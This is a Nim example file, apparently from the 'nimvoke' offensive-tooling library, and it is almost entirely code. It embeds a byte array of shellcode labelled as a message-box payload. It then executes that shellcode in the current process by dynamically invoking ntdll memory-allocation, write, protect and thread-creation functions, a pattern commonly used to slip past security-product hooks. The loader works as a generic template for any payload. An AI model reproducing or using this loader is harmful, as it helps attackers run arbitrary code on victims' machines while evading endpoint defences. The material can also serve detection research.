## File: syscalls.nim ## Author: nbaertsch ## ## Example usage of 'nimvoke/dinvoke' to execute shellcode import winim import ../src/nimvoke/dinvoke from ../src/nimvoke/inc/nimjaStructs import PUSER_THREAD_START_ROUTINE, PPS_ATTRIBUTE_LIST # Message box shellcode var shellcode = @[ byte 0x48, 0x83, 0xec, 0x28, 0xe8, 0x9f, 0x02, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x18, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x04, 0x24, 0x48, 0x83, 0xc4, 0x18, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x18, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe, 0x00, 0x85, 0xc0, 0x74, 0x58, 0x8b, 0x04, 0x24, 0xc1, 0xe8, 0x0d, 0x8b, 0x0c, 0x24, 0xc1, 0xe1, 0x13, 0x0b, 0xc1, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe, 0x00, 0x83, 0xf8, 0x61, 0x7c, 0x11, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x0f, 0xbe, 0x00, 0x83, 0xe8, 0x20, 0x89, 0x44, 0x24, 0x04, 0xeb, 0x0c, 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0x8d, 0x4c, 0x24, 0x38, 0xff, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x7c, 0xb4, 0x78, 0x78, 0xcd, 0xb9, 0xb4, 0x78, 0x78, 0xcd, 0xe8, 0x54, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x33, 0xc9, 0xff, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x98, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc] # Example usage when isMainModule: dinvokeDefine( ZwProtectVirtualMemory, "ntdll.dll", proc (ProcessHandle: Handle, BaseAddress: PVOID, NumberOfBytesToProtect: PULONG, NewAccessProtection: ULONG, OldAccessProtection: PULONG): NTSTATUS {.stdcall.} ) dinvokeDefine( ZwAllocateVirtualMemory, "ntdll.dll", proc (ProcessHandle: Handle, BaseAddress: PVOID, ZeroBits: ULONG_PTR, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.stdcall.} ) dinvokeDefine( ZwWriteVirtualMemory, "ntdll.dll", proc (ProcessHandle: Handle, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: ULONG, NumberOfBytesWritten: PULONG): NTSTATUS {.stdcall.} ) dinvokeDefine( ZwCreateThreadEx, "ntdll.dll", proc (ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PUSER_THREAD_START_ROUTINE, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.stdcall.} ) dinvokeDefine( ZwWaitForSingleObject, "ntdll.dll", proc (ThreadHandle: HANDLE, Alertable: BOOLEAN, Timeout: PLARGE_INTEGER): NTSTATUS {.stdcall.} ) var hProcess: HANDLE = 0xFFFFFFFFFFFFFFFF # current process shellcodeSize: SIZE_T = shellcode.len.SIZE_T baseAddr: PVOID status = ZwAllocateVirtualMemory(hProcess, &baseAddr, 0, &shellcodeSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE) bytesWritten: SIZE_T # ZwWriteVirtualMemory status = ZwWriteVirtualMemory(hProcess, baseAddr, &shellcode[0], shellcodeSize.ULONG, cast[PULONG](&bytesWritten)) # ZwProtectVirtualMemory var oldProtect: DWORD status = ZwProtectVirtualMemory(hProcess, &baseAddr, cast[PULONG](&shellcodeSize), PAGE_EXECUTE_READ, &oldProtect) # ZwCreateThreadEx var hThread: HANDLE status = ZwCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, cast[PUSER_THREAD_START_ROUTINE](baseAddr), NULL, FALSE, cast[SIZE_T](NULL), cast[SIZE_T](NULL), cast[SIZE_T](NULL), cast[PPS_ATTRIBUTE_LIST](NULL)) discard NtWaitForSingleObject(hThread, FALSE, cast[PLARGE_INTEGER](0))